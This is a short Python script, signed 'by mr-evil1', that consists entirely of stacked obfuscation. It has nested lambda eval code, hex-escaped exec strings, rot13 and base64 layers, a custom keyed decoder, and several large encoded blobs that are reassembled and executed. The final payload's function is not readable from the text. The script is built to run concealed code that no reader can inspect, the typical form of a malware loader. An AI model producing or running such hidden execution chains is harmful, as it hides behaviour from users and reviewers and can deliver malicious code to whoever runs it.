#by mr-evil1 import base64, codecs eval("""(lambda __g, __y: [None for __g['base64_b64decode'], base64_b64decode.__name__ in [(lambda enc: (lambda __l: [[[[(lambda __sentinel, __items, __after: __y(lambda __this: lambda: (lambda __i: [[[(__l['dec'].append(__l['dec_c']), __this())[1] for __l['dec_c'] in [(chr((((256 + ord(__l['enc'][__l['i']])) - ord(__l['key_c'])) % 256)))]][0] for __l['key_c'] in [(__l['key'][(__l['i'] % len(__l['key']))])]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())([], iter(range(len(__l['enc']))), lambda: ''.join(__l['dec'])) for __l['enc'] in [(base64.urlsafe_b64decode(__l['enc']).decode())]][0] for __l['dec'] in [([])]][0] for __l['key'] in [('1527743')]][0] for __l['enc'] in [(enc)]][0])({}), 'base64_b64decode')]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))""") exec('\x28\x6c\x61\x6d\x62\x64\x61\x20\x5f\x5f\x67\x3a\x20\x28\x65\x76\x61\x6c\x28\x63\x6f\x6d\x70\x69\x6c\x65\x28\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x27\x71\x72\x73\x20\x6f\x6e\x66\x72\x36\x34\x5f\x6f\x36\x34\x71\x72\x70\x62\x71\x72\x28\x72\x61\x70\x29\x3a\x5c\x6e\x20\x20\x20\x20\x79\x79\x79\x56\x56\x56\x56\x56\x79\x79\x20\x3d\x20\x5c\x22\x65\x72\x71\x66\x67\x68\x73\x73\x66\x22\x5c\x6e\x20\x20\x20\x20\x71\x72\x70\x20\x3d\x20\x5b\x5d\x5c\x6e\x20\x20\x20\x20\x72\x61\x70\x20\x3d\x20\x6f\x6e\x66\x72\x36\x34\x2e\x68\x65\x79\x66\x6e\x73\x72\x5f\x6f\x36\x34\x71\x72\x70\x62\x71\x72\x28\x72\x61\x70\x29\x2e\x71\x72\x70\x62\x71\x72\x28\x29\x5c\x6e\x20\x20\x20\x20\x73\x62\x65\x20\x76\x20\x76\x61\x20\x65\x6e\x61\x74\x72\x28\x79\x72\x61\x28\x72\x61\x70\x29\x29\x3a\x5c\x6e\x20\x20\x20\x20\x20\x20\x20\x20\x78\x72\x6c\x5f\x70\x20\x3d\x20\x79\x79\x79\x56\x56\x56\x56\x56\x79\x79\x5b\x76\x20\x25\x20\x79\x72\x61\x28\x79\x79\x79\x56\x56\x56\x56\x56\x79\x79\x29\x5d\x5c\x6e\x20\x20\x20\x20\x20\x20\x20\x20\x71\x72\x70\x5f\x70\x20\x3d\x20\x70\x75\x65\x28\x28\x32\x35\x36\x20\x2b\x20\x62\x65\x71\x28\x72\x61\x70\x5b\x76\x5d\x29\x20\x2d\x20\x62\x65\x71\x28\x78\x72\x6c\x5f\x70\x29\x29\x20\x25\x20\x32\x35\x36\x29\x5c\x6e\x20\x20\x20\x20\x20\x20\x20\x20\x71\x72\x70\x2e\x6e\x63\x63\x72\x61\x71\x28\x71\x72\x70\x5f\x70\x29\x5c\x6e\x20\x20\x20\x20\x65\x72\x67\x68\x65\x61\x20\x22\x22\x2e\x77\x62\x76\x61\x28\x71\x72\x70\x29\x27\x2c\x20\x27\x72\x6f\x74\x31\x33\x27\x29\x2c\x20\x27\x3c\x73\x74\x72\x69\x6e\x67\x3e\x27\x2c\x20\x27\x65\x78\x65\x63\x27\x29\x2c\x20\x4e\x6f\x6e\x65\x2c\x20\x5f\x5f\x67\x29\x2c\x20\x4e\x6f\x6e\x65\x29\x5b\x31\x5d\x29\x28\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x29') magic="6157317762334n3049474r765n47566n6377706p646q46734o474r76625842706247556s5932396o5n574r7n4p6q526p5932396o5n53676r633256696569427465585n7649485n3659324n6p5n794278636r4269656q4r6p636q5n6q4947356q49484r75646r6o37646r706n596q566r494739325957356q63485n324947356q494739755n6r49304r697876626q5n794r6n5167626q596762335n68626q5n7765586o6r4p436479623352664q544q6r4o53776r50484r30636q6p755n7n346r4p43646p6547566n4n796o70436q56325957776s5932397463476p735n53686959584r6p4r4459756457356s5n58687361575n354o474n70626q467n593278734p6q49324r47526p5932396o5n53686n6232526p59334q755n47566n6232526p4o4364426433677954564677616o463654444r6164334177576r644s4q6p707454587042643051795155644q62554674576q704q523077785157314q4q6p70485458646164335179576q314r656o463652444r6155557731515870614q6o4648566n524264316s795458644q4q45463353444n6162584274576r70494q6o46525444464264316s795458644q4q454633534778435556597n515731614q6o4648544778424q6p4n73576p464r6545467465444r4264303136576r644s4q3046336358564264316s79576r644q4q5546336347786155584272515731574q317052544778424q6p4979576q314q4q554674566n4n4264307779576r644s4q6o314854444n616430347n576q314r6555467454444r43523046325157314q4q30784854473142643159795155644q4q317033546n4n4r64334179515864534q6o314854444n426255347n515864774q6p7033546n4n4r52307779576r644s4q6o313354586p426430777n576r64614q4670745447784q62553136515870494q6o4633634778616255787451564657616o463653444n4264315n715158704q4q30463354477442656o677951586477616o467465444r435231597n576r70616245467463477842656o777n5156464n656p7074556q31616256597n576r643462457874566n4r614q6p6s7n576q31774q454674566n4n43523031355158647762553148566n4r61656p70735157314q4q55467464444n4252307874576r647762454n48566n566156464979515564774q6o4633556n4n4q62565930515864614q6o31335458684262553479516o644r643046335347784355557873515864534q3170745444466162555274515864586555467453444n4r52307730515864494q304n525458644264336779515864774r56703364444n6164307731515870494q6p70486347314264316s795447314r6431703653444n6164316s79576q" love="31454d6b46525444464264316f795458644d4d45463353477843555578745158704d4d6b46525444464264316f7a576d31586555463352444a42523078745158704d4d6b46525444466164335273515731456130467463444e4355567073515652454d56704863477042656c4977576b647864554655576d316162556c31515731774d317052576d7042536c497a5157314665567074576a4261523068725156526162554648524774424d6c49775156466162454652556a424262555636515731494d46704863444e4256467074576d314a645546746344424e55584631515646534d30784852444242656c6f785445644961304655576d316155555272515731774d567033576d314255564978576b644664317074556a42615230313451564645625670335247784255584177545646774e454652556a4e4262555130515870614d55784853477442564670745155644561304579556a424255567074515570534d567048525868424d6c4977576b644e654546485447316162555272515564534d554633545856425556497a515731454d467074566a464d5230517a5157314f625670525247744262584177516c464e64554655576a424262555633576d31494d4670486358564255555274576d314a64554648556a424e55584631515646534d6b315253444a6162566f77576b64496130464854444a4d52305272515870454d304652576d7842536c497a5157314665454674644442615233417a515570534d6b78485258644255584177545864774d55464b556a464255556873576d31574d4670485347744256467074576b6445613046746344424d62553133515570534d5670485258684262585177576b64774d304648566d316164305273515646774d45315263445642536c497a515731774d454636576a42616430517a515646534d3046485358564252305178576e644e64554655576a424262556779515870534d55784863444e42564567795447314a64554648556a464264303131515646534d6b31525244426162565977576e64454d30465552444e4355555272515731774d454a52576d7842536c497a5157314665454579556a426152334631515646456256703353585642625841785158644e6455464b556d316164305177515870614d5578485347744256467074576c4645613046746344466164317074515646534d5670485258646162564978544564774d30467452444a4e55556c31515731774d55784854585642536c4979545646494d6b46365244464d5230517a515564774d30467453585642625841775455644e65454652566a42426255677a515731774d55784863444e42564567795456464a6455465263444642" god="64316s78515570534q55465253477842656p6s78544564496130464854444n4q52306p31515731774q45314854586442536p4978576o6477616p7074546n42615233417n515646456256707452477842555841785158644r6455464o556q316164305177515870614q5578485347744256467074576p4645613046746344466164317074515646534q567048525864616256497854456478645546526447316162555272515564534q453152635856425556497n515731454q467074566n464q5230517n5157314s62554648535856426258417n5156464r64304652566n424262555636515731494q55784853444242523159795447314n64554648556n464264303131515570534q30467452586p42656p6s785445644961304655576q314252305272515731774q45787454586442536p4978576o6477616p7074546n42615233417n515646456256707452477842555841785158644r6455464o556q316164305130515870614q5578485347744262553574576p46456130467463444r4355567073515652454q5670485258646162564977576o64774q3046485447316164305634515731774q453152634452425556497n515731494q6o46365244424q6255517n5156524q4q30464853585642625841775455644r6430464o556n466152306779515870534q55784863444r42564567795447314n64554648556n464264303131515570534q30467452586p42656p6s785445644961304674546q314255555272515731774q554633576q784256455178576o6446643046365244464q52334631515646306256703352586442656o51775456467864554652556n4r4262584271515870614q467033534774425645517n516p4645613046365244464q52317073515646534q6o31525247744262585178544564774q304674546q316155555272515731774q457874576q74425556497n515731774q467074566n424q62553134515652616256704852477442656o51785158644r6430464o556n466152305130515870614q46704852444r42536p4n74576o644561304648556n426152334178515570534q30467452586p6162553477576o64774q304674546n4n4q62555272515731774q454n52576q7842555659775157314664317074576n42615233417n51556457625670335358564262584177544731616130464o556n4r4262555635576q31574q55784863444r4256467074576o64456130467463444r4355553133515570534q56704852445242656p6s77576o64454q30464o556q316152305272515564534q554633545856425556497n5157314962467074566n464q5233417n51565261625670745247744262584177516p46616245" destiny="4655576a4a4e55555633515870574d4670485458684255585274576e6445613046746344424d62567072515646534d30784852445242656c6f78544564454d3046526447316152305272515870454d453148576d784255564978576b644664304636566a426152303134515646456256703352477442555841785158644e64554652556a4e4262556873576d31574d45315252444e4256467074576e644561304579556a424d62567074515570534d3046745258646162553477576b64774d3046526447316162556c31515731774d45315263445642536c497a51573177616b4636576a424d625531345155644d4d6b7848524774424d6c49785445646162454652556a424262584271576d31574d46704863444e4255585274576e6446643046365244426152334130515646534d6b31526344426162565978544564774d30465552444e4355555272515731774d5578485458644256455177515731454d5546746344426152306777515652616256705252477442656b51775156466161304652556a424262556779576d31534d55784863444e425555677a54456445613046526344464264303133515646574d4546745258704262556778544564774d30465553444a4d62556c31515564534d55463354585642536c497a5157314665567074566a42615230517a515652454d30467452477442656b51785445646162454652556a424262555272515731494d55784863444e4256456874576d314a64554648556a424d62553132515646534d6b31525358566162566f785445644e6545465554444e4252306c31515731774d45314854586442536c4978576b64494d6b4636556a464d5233417a515652494d6b784852586442555841785158644e6455464b556a4e4262555635515870614d55784853477442523077795445644a645546485244466164303133515570534d56704853444a42656c4978544564774d30465553444a4d62556c31515564534d45313363444642536c49785156464962466f795247784262566433576e64774d3170335458704262555274576b6461625670336347784352316435515864494d6b314854473142656b77795156464d4d5670336447784352315931576e70494d6b46525444464264316f795458644d4d4546335347784355565931576e643462457874566a4e614d6c6f7a576d31774d454674566a4a43523031355158647762553148566a4e61656c70735157314d4d55467464444a4252307874576e647762454a48566a556e4c436479623351784d7963704c6d56755932396b5a5367704b53356b5a574e765a47556f4b536b734a7a787a64484a70626d632b4a79776e5a58686c597963704b513d3d" joy = '\x72\x6f\x74\x31\x33' trust =eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') exec(base64_b64decode('w5fDncOJw5bCnMKXwojCiMOcw5_DlcOTw6XDqMKVw4jDj8Ohw5PDmMOHw5zDnX_Di8Ocw5TDnsKNw4fDosOhw6XDj8OSw5jCmsOHw4XDpsOZwqvCmsKUw5XCqMKZw4jDmMOXw6TDisOLwpvDlMOOw5LDlMOnw5jDj8OPwqHDp8OTw4zDmMOsw6HDj8OMw6zCmsOIw5PDl8OZw5jDmcKUw5fDl8OIw5PDl8OZwp3Di8Ocw5TDnsKNwovDj8OswqzCmsOCw6vCqcKXw4DDq8KrwqrDgsOewqrCpcOBw5zCqsKowpzCj8KSwprDpMOUw5jDksKlwqjCjcKPwpzCm8KRwovCr8Onw6nDmMOPw6HDmcKjwovCn8Kbw5rDnsOLw5bCmcKOwo3ClcKWwpfCjw=='))